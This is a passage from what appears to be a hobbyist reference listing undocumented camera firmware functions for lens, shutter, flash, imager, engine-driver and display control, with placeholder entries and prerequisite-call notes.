61
0.9.46
NR GetDarkSubType()
TODO: Undocumented.
Example :
NR GetDarkSubType ()
Note: needs prior call to the SS.Create() function to activate.
0.9.47
NR GetDefectCorrectType()
TODO: Undocumented.
Example :
NR GetDefectCorrectType ()
Note: needs prior call to the SS.Create() function to activate.
0.9.48
NR SetLotasPonyType()
TODO: Undocumented.
Example :
NR SetLotasPonyType ()
Note: needs prior call to the SS.Create() function to activate.
0.10
RefreshUSBMode()
Example :
RefreshUSBMode ()
Allows the use of the following function:
0.10.1
COMFACHK StartService()
TODO: Undocumented.
Example :
COMFACHK StartService ()
Note: needs prior call to the RefreshUSBMode() function to activate.
0.10.2
COMFACHK StopService()
TODO: Undocumented.
Example :
COMFACHK StopService ()
Note: needs prior call to the RefreshUSBMode() function to activate.
62
0.10.3
COMFACHK StartSendData()
TODO: Undocumented.
Example :
COMFACHK StartSendData ()
Note: needs prior call to the RefreshUSBMode() function to activate.
0.10.4
COMFACHK StartSendLargeData()
TODO: Undocumented.
Example :
COMFACHK StartSendLargeData ()
Note: needs prior call to the RefreshUSBMode() function to activate.
0.10.5
COMFACHK GetTransferTime()
TODO: Undocumented.
Example :
COMFACHK GetTransferTime ()
Note: needs prior call to the RefreshUSBMode() function to activate.
0.10.6
COMFACHK SetSendDataSize()
TODO: Undocumented.
Example :
COMFACHK SetSendDataSize ()
Note: needs prior call to the RefreshUSBMode() function to activate.
0.11
Mecha.Create()
Example :
Mecha . Create ()
Allows the use of the following function:
0.11.1
MechaReset()
TODO: Undocumented.
Example :
MechaReset ()
Note: needs prior call to the Mecha.Create() function to activate.
63
0.11.2
MechaTerminate()
TODO: Undocumented.
Example :
MechaTerminate ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.3
ShowMechaMacro()
TODO: Undocumented.
Example :
ShowMechaMacro ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.4
MoveZoomActuator()
TODO: Undocumented.
Example :
MoveZoomActuator ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.5
SetZoomActuatorSpeedPPS()
TODO: Undocumented.
Example :
SetZoomActuatorSpeedPPS ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.6
GetZoomActuatorCurrentPosition()
TODO: Undocumented.
Example :
GetZoomActuatorCurrentPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.7
GetZoomActuatorSpeedPPS()
TODO: Undocumented.
Example :
GetZoomActuatorSpeedPPS ()
Note: needs prior call to the Mecha.Create() function to activate.
64
0.11.8
IsZoomActuatorResetSensorPlusSide()
TODO: Undocumented.
Example :
IsZoomActuatorResetSensorPlusSide ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.9
MoveCZToPoint()
TODO: Undocumented.
Example :
MoveCZToPoint ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.10
MoveCZToWide()
TODO: Undocumented.
Example :
MoveCZToWide()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.11
MoveCZToTele()
TODO: Undocumented.
Example :
MoveCZToTele ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.12
ResetFocusLens()
TODO: Undocumented.
Example :
ResetFocusLens ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.13
EscapeFocusLens()
TODO: Undocumented.
Example :
EscapeFocusLens ()
Note: needs prior call to the Mecha.Create() function to activate.
65
0.11.14
MoveFocusLensToTerminate()
TODO: Undocumented.
Example :
MoveFocusLensToTerminate ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.15
MoveFocusLensWithDistance()
TODO: Undocumented.
Example :
MoveFocusLensWithDistance ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.16
MoveFocusLensWithPosition()
TODO: Undocumented.
Example :
MoveFocusLensWithPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.17
MoveFocusLensWithPositionWithoutBacklas()
TODO: Undocumented.
Example :
MoveFocusLensWithPositionWithoutBacklas ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.18
MoveFocusActuator()
TODO: Undocumented.
Example :
MoveFocusActuator ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.19
SetFocusLensSpeed()
TODO: Undocumented.
Example :
SetFocusLensSpeed ()
Note: needs prior call to the Mecha.Create() function to activate.
66
0.11.20
SetFocusLensSpeedTable()
TODO: Undocumented.
Example :
SetFocusLensSpeedTable ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.21
SetFocusLensDefaultPullOutTable()
TODO: Undocumented.
Example :
SetFocusLensDefaultPullOutTable ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.22
SetFocusLensCondition()
TODO: Undocumented.
Example :
SetFocusLensCondition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.23
ShowFocusLensCurrentSpeedTable()
TODO: Undocumented.
Example :
ShowFocusLensCurrentSpeedTable ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.24
SetFocusLensMaxSpeedLimit()
TODO: Undocumented.
Example :
SetFocusLensMaxSpeedLimit ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.25
CancelFocusLensMaxSpeedLimit()
TODO: Undocumented.
Example :
CancelFocusLensMaxSpeedLimit ()
Note: needs prior call to the Mecha.Create() function to activate.
67
0.11.26
EnableFocusLens()
TODO: Undocumented.
Example :
EnableFocusLens ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.27
DisableFocusLens()
TODO: Undocumented.
Example :
DisableFocusLens ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.28
EnableFocusLensGainLockWithVoltage()
TODO: Undocumented.
Example :
EnableFocusLensGainLockWithVoltage ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.29
DisableFocusLensGainLock()
TODO: Undocumented.
Example :
DisableFocusLensGainLock ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.30
EnableFocusLensWaveLock()
TODO: Undocumented.
Example :
EnableFocusLensWaveLock ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.31
DisableFocusLensWaveLock()
TODO: Undocumented.
Example :
DisableFocusLensWaveLock ()
Note: needs prior call to the Mecha.Create() function to activate.
68
0.11.32
GetFocusLensCurrentPosition()
TODO: Undocumented.
Example :
GetFocusLensCurrentPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.33
GetFocusLensResetPosition()
TODO: Undocumented.
Example :
GetFocusLensResetPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.34
GetFocusLensResetDefaultPosition()
TODO: Undocumented.
Example :
GetFocusLensResetDefaultPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.35
GetFocusLensSubjectDistance()
TODO: Undocumented.
Example :
GetFocusLensSubjectDistance ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.36
GetFocusLensSubjectDistanceNumber()
TODO: Undocumented.
Example :
GetFocusLensSubjectDistanceNumber ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.37
GetFocusLensPositionRatio()
TODO: Undocumented.
Example :
GetFocusLensPositionRatio ()
Note: needs prior call to the Mecha.Create() function to activate.
69
0.11.38
GetFocusLensLoadSubjectDistance()
TODO: Undocumented.
Example :
GetFocusLensLoadSubjectDistance ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.39
ChangeFocusDistanceToPosition()
TODO: Undocumented.
Example :
ChangeFocusDistanceToPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.40
GetFocusLensLoadCamTable()
TODO: Undocumented.
Example :
GetFocusLensLoadCamTable ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.41
GetFocusLensDriveVoltage()
TODO: Undocumented.
Example :
GetFocusLensDriveVoltage ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.42
SetFocusLensDriveVoltage()
TODO: Undocumented.
Example :
SetFocusLensDriveVoltage ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.43
GetFocusLensSettingWaitVoltage()
TODO: Undocumented.
Example :
GetFocusLensSettingWaitVoltage ()
Note: needs prior call to the Mecha.Create() function to activate.
70
0.11.44
SetFocusLensSettingWaitVoltage()
TODO: Undocumented.
Example :
SetFocusLensSettingWaitVoltage ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.45
GetFocusLensHoldVoltage()
TODO: Undocumented.
Example :
GetFocusLensHoldVoltage ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.46
SetFocusLensHoldVoltage()
TODO: Undocumented.
Example :
SetFocusLensHoldVoltage ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.47
GetFocusLensResetVoltage()
TODO: Undocumented.
Example :
GetFocusLensResetVoltage ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.48
GetFocusLensMoveMaxPosition()
TODO: Undocumented.
Example :
GetFocusLensMoveMaxPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.49
GetFocusLensMoveMinPosition()
TODO: Undocumented.
Example :
GetFocusLensMoveMinPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
71
0.11.50
ResetIris()
TODO: Undocumented.
Example :
R e s e t I r i s ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.51
MoveIrisToTerminatePosition()
TODO: Undocumented.
Example :
MoveIrisToTerminatePosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.52
MoveIrisWithAv()
TODO: Undocumented.
Example :
MoveIrisWithAv ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.53
MoveIrisWithAvWithoutBacklash()
TODO: Undocumented.
Example :
MoveIrisWithAvWithoutBacklash ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.54
GetIrisAv()
TODO: Undocumented.
Example :
GetIrisAv ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.55
MoveLensToFirstPoint()
TODO: Undocumented.
Example :
MoveLensToFirstPoint ()
Note: needs prior call to the Mecha.Create() function to activate.
72
0.11.56
MoveLensToTerminatePoint()
TODO: Undocumented.
Example :
MoveLensToTerminatePoint ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.57
IsLensOutside()
TODO: Undocumented.
Example :
IsLensOutside ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.58
GetLensErrorStatus()
TODO: Undocumented.
Example :
GetLensErrorStatus ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.59
EnableMechaCircuit()
TODO: Undocumented.
Example :
EnableMechaCircuit ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.60
DisableMechaCircuit()
TODO: Undocumented.
Example :
DisableMechaCircuit ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.61
EnableFocusPiCircuit()
TODO: Undocumented.
Example :
EnableFocusPiCircuit ()
Note: needs prior call to the Mecha.Create() function to activate.
73
0.11.62
DisableFocusPiCircuit()
TODO: Undocumented.
Example :
DisableFocusPiCircuit ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.63
GetFocusPiSensorLevel()
TODO: Undocumented.
Example :
GetFocusPiSensorLevel ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.64
EnableZoomPiCircuit()
TODO: Undocumented.
Example :
EnableZoomPiCircuit ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.65
DisableZoomPiCircuit()
TODO: Undocumented.
Example :
DisableZoomPiCircuit ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.66
GetZoomPiSensorLevel()
TODO: Undocumented.
Example :
GetZoomPiSensorLevel ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.67
EnableZoomEncoderCircuit()
TODO: Undocumented.
Example :
EnableZoomEncoderCircuit ()
Note: needs prior call to the Mecha.Create() function to activate.
74
0.11.68
DisableZoomEncoderCircuit()
TODO: Undocumented.
Example :
DisableZoomEncoderCircuit ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.69
SendMechaCircuitData()
TODO: Undocumented.
Example :
SendMechaCircuitData ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.70
ReceiveMechaCircuitDataAll()
TODO: Undocumented.
Example :
ReceiveMechaCircuitDataAll ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.71
CloseMechaShutterWithTiming()
TODO: Undocumented.
Example :
CloseMechaShutterWithTiming ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.72
SetMechaShutterWaitTimeSetting()
TODO: Undocumented.
Example :
SetMechaShutterWaitTimeSetting ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.73
GetMechaShutterStatus()
TODO: Undocumented.
Example :
GetMechaShutterStatus ()
Note: needs prior call to the Mecha.Create() function to activate.
75
0.11.74
CloseMechaShutter()
TODO: Undocumented.
Example :
CloseMechaShutter ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.75
OpenMechaShutter()
TODO: Undocumented.
Example :
OpenMechaShutter ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.76
SetMechaShutterCloseDacSetting()
TODO: Undocumented.
Example :
SetMechaShutterCloseDacSetting ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.77
SetMechaShutterOpenDacSetting()
TODO: Undocumented.
Example :
SetMechaShutterOpenDacSetting ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.78
SetNdDacSetting()
TODO: Undocumented.
Example :
SetNdDacSetting ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.79
TurnOnNdFilter()
TODO: Undocumented.
Example :
TurnOnNdFilter ()
Note: needs prior call to the Mecha.Create() function to activate.
76
0.11.80
TurnOffNdFilter()
TODO: Undocumented.
Example :
TurnOffNdFilter ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.81
ResetZoomLens()
TODO: Undocumented.
Example :
ResetZoomLens ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.82
ResetZoomLensToFirst()
TODO: Undocumented.
Example :
ResetZoomLensToFirst ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.83
ResetZoomLensToTermiante()
TODO: Undocumented.
Example :
ResetZoomLensToTermiante ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.84
MoveZoomLensWithPoint()
TODO: Undocumented.
Example :
MoveZoomLensWithPoint ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.85
MoveZoomLensWithPosition()
TODO: Undocumented.
Example :
MoveZoomLensWithPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
77
0.11.86
MoveZoomLensToTerminatePosition()
TODO: Undocumented.
Example :
MoveZoomLensToTerminatePosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.87
MoveZoomLensToMechaEdge()
TODO: Undocumented.
Example :
MoveZoomLensToMechaEdge ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.88
SetZoomLensSpeedMode()
TODO: Undocumented.
Example :
SetZoomLensSpeedMode ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.89
GetZoomLensCurrentPoint()
TODO: Undocumented.
Example :
GetZoomLensCurrentPoint ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.90
GetZoomLensCurrentPosition()
TODO: Undocumented.
Example :
GetZoomLensCurrentPosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.91
GetZoomLensTelePoint()
TODO: Undocumented.
Example :
GetZoomLensTelePoint ()
Note: needs prior call to the Mecha.Create() function to activate.
78
0.11.92
GetZoomLensMechaEdgePosition()
TODO: Undocumented.
Example :
GetZoomLensMechaEdgePosition ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.93
EnableZoomLensEncoderPowerControl()
TODO: Undocumented.
Example :
EnableZoomLensEncoderPowerControl ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.94
DisableZoomLensEncoderPowerControl()
TODO: Undocumented.
Example :
DisableZoomLensEncoderPowerControl ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.95
MoveDCMotorCW()
TODO: Undocumented.
Example :
MoveDCMotorCW()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.96
MoveDCMotorCCW()
TODO: Undocumented.
Example :
MoveDCMotorCCW()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.97
SetPMByGpio()
TODO: Undocumented.
Example :
SetPMByGpio ()
Note: needs prior call to the Mecha.Create() function to activate.
79
0.11.98
ClearPMByGpio()
TODO: Undocumented.
Example :
ClearPMByGpio ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.99
ClearPMByFs()
TODO: Undocumented.
Example :
ClearPMByFs ()
Note: needs prior call to the Mecha.Create() function to activate.
0.11.100
SetDCMotorWaitTime()
TODO: Undocumented.
Example :
SetDCMotorWaitTime ()
Note: needs prior call to the Mecha.Create() function to activate.
0.12
Capture.Create()
Example :
Capture . Create ()
Allows the use of the following function:
0.12.1
ActivateImager()
TODO: Undocumented.
Example :
ActivateImager ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.2
ActivateImagerXOne()
TODO: Undocumented.
Example :
ActivateImagerXOne ()
Note: needs prior call to the Capture.Create() function to activate.
80
0.12.3
QuietImager()
TODO: Undocumented.
Example :
QuietImager ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.4
CancelImager()
TODO: Undocumented.
Example :
CancelImager ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.5
ChangeImagerToWholeParallel()
TODO: Undocumented.
Example :
ChangeImagerToWholeParallel ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.6
ChangeImagerToWholeParallelBP()
TODO: Undocumented.
Example :
ChangeImagerToWholeParallelBP ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.7
ChangeImagerToWideDraft()
TODO: Undocumented.
Example :
ChangeImagerToWideDraft ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.8
ChangeImagerToFocusJet()
TODO: Undocumented.
Example :
ChangeImagerToFocusJet ()
Note: needs prior call to the Capture.Create() function to activate.
81
0.12.9
ChangeImagerToMangoPudding()
TODO: Undocumented.
Example :
ChangeImagerToMangoPudding ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.10
ChangeImagerToSuperWideDraft()
TODO: Undocumented.
Example :
ChangeImagerToSuperWideDraft ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.11
ChangeImagerToJetDraft()
TODO: Undocumented.
Example :
ChangeImagerToJetDraft ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.12
ChangeImagerToJumboDraft()
TODO: Undocumented.
Example :
ChangeImagerToJumboDraft ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.13
ChangeImagerToHoneyFlash()
TODO: Undocumented.
Example :
ChangeImagerToHoneyFlash ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.14
ChangeImagerToMillefeAdjust()
TODO: Undocumented.
Example :
ChangeImagerToMillefeAdjust ()
Note: needs prior call to the Capture.Create() function to activate.
82
0.12.15
ChangeImagerToOITA XAVIER()
TODO: Undocumented.
Example :
ChangeImagerToOITA XAVIER ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.16
ChangeImagerToAlternateDraft()
TODO: Undocumented.
Example :
ChangeImagerToAlternateDraft ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.17
ChangeImagerToDigiconMode()
TODO: Undocumented.
Example :
ChangeImagerToDigiconMode ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.18
ChangeImagerToUltraGhostQ()
TODO: Undocumented.
Example :
ChangeImagerToUltraGhostQ ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.19
ChangeImagerToMontblancWhole()
TODO: Undocumented.
Example :
ChangeImagerToMontblancWhole ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.20
ChangeImagerToMontblancMillefe()
TODO: Undocumented.
Example :
ChangeImagerToMontblancMillefe ()
Note: needs prior call to the Capture.Create() function to activate.
83
0.12.21
ChangeGradeTable()
TODO: Undocumented.
Example :
ChangeGradeTable ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.22
PointDefDetect()
TODO: Undocumented.
Example :
PointDefDetect ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.23
PointKizuCheck()
TODO: Undocumented.
Example :
PointKizuCheck ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.24
GetDefectCount()
TODO: Undocumented.
Example :
GetDefectCount ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.25
LineDefDetect()
TODO: Undocumented.
Example :
LineDefDetect ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.26
LineKizuCheck()
TODO: Undocumented.
Example :
LineKizuCheck ()
Note: needs prior call to the Capture.Create() function to activate.
84
0.12.27
SetMontblancVSize()
TODO: Undocumented.
Example :
SetMontblancVSize ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.28
GetMontblancVSize()
TODO: Undocumented.
Example :
GetMontblancVSize ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.29
EF.StartEFCharge()
TODO: Undocumented.
Example :
EF. StartEFCharge ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.30
EF.StopEFCharge()
TODO: Undocumented.
Example :
EF. StopEFCharge ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.31
EF.SetEFChargeTimeOut()
TODO: Undocumented.
Example :
EF. SetEFChargeTimeOut ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.32
EF.StartInternalPreFlash()
TODO: Undocumented.
Example :
EF. StartInternalPreFlash ()
Note: needs prior call to the Capture.Create() function to activate.
85
0.12.33
EF.StartInternalMainFlash()
TODO: Undocumented.
Example :
EF. StartInternalMainFlash ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.34
EF.SetMainFlashTime()
TODO: Undocumented.
Example :
EF. SetMainFlashTime ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.35
EF.IsChargeFull()
TODO: Undocumented.
Example :
EF. IsChargeFull ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.36
EF.AdjPreFlash()
TODO: Undocumented.
Example :
EF. AdjPreFlash ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.37
EF.SetChargeMode()
TODO: Undocumented.
Example :
EF. SetChargeMode ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.38
EF.SetFlashTime()
TODO: Undocumented.
Example :
EF. SetFlashTime ()
Note: needs prior call to the Capture.Create() function to activate.
86
0.12.39
ExpCtrlTool.SetExpMode()
TODO: Undocumented.
Example :
ExpCtrlTool . SetExpMode ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.40
DevelopTool.DevelopTest()
TODO: Undocumented.
Example :
DevelopTool . DevelopTest ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.41
LiveImageTool.StartEVF()
TODO: Undocumented.
Example :
LiveImageTool . StartEVF ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.42
LiveImageTool.StartEVFFocusJet()
TODO: Undocumented.
Example :
LiveImageTool . StartEVFFocusJet ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.43
LiveImageTool.StartEVFMF()
TODO: Undocumented.
Example :
LiveImageTool . StartEVFMF ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.44
LiveImageTool.StartEVFMovVGA()
TODO: Undocumented.
Example :
LiveImageTool . StartEVFMovVGA()
Note: needs prior call to the Capture.Create() function to activate.
87
0.12.45
LiveImageTool.StartEVFMovQVGA60()
TODO: Undocumented.
Example :
LiveImageTool . StartEVFMovQVGA60()
Note: needs prior call to the Capture.Create() function to activate.
0.12.46
LiveImageTool.StartEVFMovQVGA()
TODO: Undocumented.
Example :
LiveImageTool .StartEVFMovQVGA()
Note: needs prior call to the Capture.Create() function to activate.
0.12.47
LiveImageTool.StartEVFMovQQVGA()
TODO: Undocumented.
Example :
LiveImageTool .StartEVFMovQQVGA()
Note: needs prior call to the Capture.Create() function to activate.
0.12.48
LiveImageTool.StartEVFMovXGA()
TODO: Undocumented.
Example :
LiveImageTool . StartEVFMovXGA()
Note: needs prior call to the Capture.Create() function to activate.
0.12.49
LiveImageTool.StartEVFMovHD()
TODO: Undocumented.
Example :
LiveImageTool . StartEVFMovHD()
Note: needs prior call to the Capture.Create() function to activate.
0.12.50
LiveImageTool.StopEVF()
TODO: Undocumented.
Example :
LiveImageTool . StopEVF ()
Note: needs prior call to the Capture.Create() function to activate.
88
0.12.51
LiveImageTool.StopMjpegMaking()
TODO: Undocumented.
Example :
LiveImageTool . StopMjpegMaking ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.52
LiveImageTool.StartMjpegMaking()
TODO: Undocumented.
Example :
LiveImageTool . StartMjpegMaking ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.53
LiveImageTool.DzoomTele()
TODO: Undocumented.
Example :
LiveImageTool . DzoomTele ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.54
LiveImageTool.DzoomWide()
TODO: Undocumented.
Example :
LiveImageTool . DzoomWide()
Note: needs prior call to the Capture.Create() function to activate.
0.12.55
LiveImageTool.StopDzoom()
TODO: Undocumented.
Example :
LiveImageTool . StopDzoom ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.56
LiveImageTool.Pause()
TODO: Undocumented.
Example :
LiveImageTool . Pause ()
Note: needs prior call to the Capture.Create() function to activate.
89
0.12.57
LiveImageTool.Resume()
TODO: Undocumented.
Example :
LiveImageTool .Resume()
Note: needs prior call to the Capture.Create() function to activate.
0.12.58
LiveImageTool.ChangeDzoom()
TODO: Undocumented.
Example :
LiveImageTool . ChangeDzoom ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.59
LiveImageTool.GetDzoomPosition()
TODO: Undocumented.
Example :
LiveImageTool . GetDzoomPosition ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.60
LiveImageTool.Jump()
TODO: Undocumented.
Example :
LiveImageTool .Jump()
Note: needs prior call to the Capture.Create() function to activate.
0.12.61
AFTool.GetEVal()
TODO: Undocumented.
Example :
AFTool . GetEVal ()
Note: needs prior call to the Capture.Create() function to activate.
0.12.62
E2LatOn()
TODO: Undocumented.
Example :
E2LatOn ()
Note: needs prior call to the Capture.Create() function to activate.
90
0.13
EngineDriver.Create()
Example :
EngineDriver . Create ()
Allows the use of the following function:
0.13.1
EngDrvOut()
TODO: Undocumented.
Example :
EngDrvOut ()
Note: needs prior call to the EngineDriver.Create() function to activate.
0.13.2
EngDrvIn()
TODO: Undocumented.
Example :
EngDrvIn ()
Note: needs prior call to the EngineDriver.Create() function to activate.
0.13.3
EngDrvRead()
TODO: Undocumented.
Example :
EngDrvRead ()
Note: needs prior call to the EngineDriver.Create() function to activate.
0.13.4
EngDrvBits()
TODO: Undocumented.
Example :
EngDrvBits ()
Note: needs prior call to the EngineDriver.Create() function to activate.
0.13.5
EngDrvReadDump()
TODO: Undocumented.
Example :
EngDrvReadDump()
Note: needs prior call to the EngineDriver.Create() function to activate.
91
0.14
CreateLanguageMenu()
Example :
CreateLanguageMenu ()
Allows the use of the following function:
0.14.1
CreateLanguageMenu()
TODO: Undocumented.
Example :
CreateLanguageMenu ()
Note: needs prior call to the CreateLanguageMenu() function to activate.
0.14.2
DeleteLanguageMenu()
TODO: Undocumented.
Example :
DeleteLanguageMenu ()
Note: needs prior call to the CreateLanguageMenu() function to activate.
0.14.3
ShowLanguageNameList()
TODO: Undocumented.
Example :
ShowLanguageNameList ()
Note: needs prior call to the CreateLanguageMenu() function to activate.
0.14.4
SaveLanguageNameList()
TODO: Undocumented.
Example :
SaveLanguageNameList ()
Note: needs prior call to the CreateLanguageMenu() function to activate.
0.14.5
RegisterLanguageName()
TODO: Undocumented.
Example :
RegisterLanguageName ()
Note: needs prior call to the CreateLanguageMenu() function to activate.
92
0.15
DispDev EnableEventProc()
Example :
DispDev EnableEventProc ()
Allows the use of the following function:
0.15.1
DispCon ShowColorBar()
TODO: Undocumented.
Example :
DispCon ShowColorBar ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.2
DispCon ShowFiveStep()
TODO: Undocumented.
Example :
DispCon ShowFiveStep ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.3
DispCon ShowWhiteChart()
TODO: Undocumented.
Example :
DispCon ShowWhiteChart ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.4
DispCon ShowBlackChart()
TODO: Undocumented.
Example :
DispCon ShowBlackChart ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.5
DispCon ShowBitmapColorBar()
TODO: Undocumented.
Example :
DispCon ShowBitmapColorBar ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
93
0.15.6
DispCon ShowCustomColorBar()
TODO: Undocumented.
Example :
DispCon ShowCustomColorBar ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.7
DispCon SetDisplayType()
TODO: Undocumented.
Example :
DispCon SetDisplayType ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.8
DispCon TurnOnDisplay()
TODO: Undocumented.
Example :
DispCon TurnOnDisplay ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.9
DispCon TurnOffDisplay()
TODO: Undocumented.
Example :
DispCon TurnOffDisplay ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.10
DispCon SetMaxBackLightBrightness()
TODO: Undocumented.
Example :
DispCon SetMaxBackLightBrightness ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.11
DispCon SetVideoAdjParameter()
TODO: Undocumented.
Example :
DispCon SetVideoAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
94
0.15.12
DispCon GetVideoAdjParameter()
TODO: Undocumented.
Example :
DispCon GetVideoAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.13
DispCon ShowVideoAdjParameter()
TODO: Undocumented.
Example :
DispCon ShowVideoAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.14
DispCon SaveVideoAdjParameter()
TODO: Undocumented.
Example :
DispCon SaveVideoAdjParameter ()
Note: needs prior call to the DispDev EnableEventProc() function to activate.
0.15.15
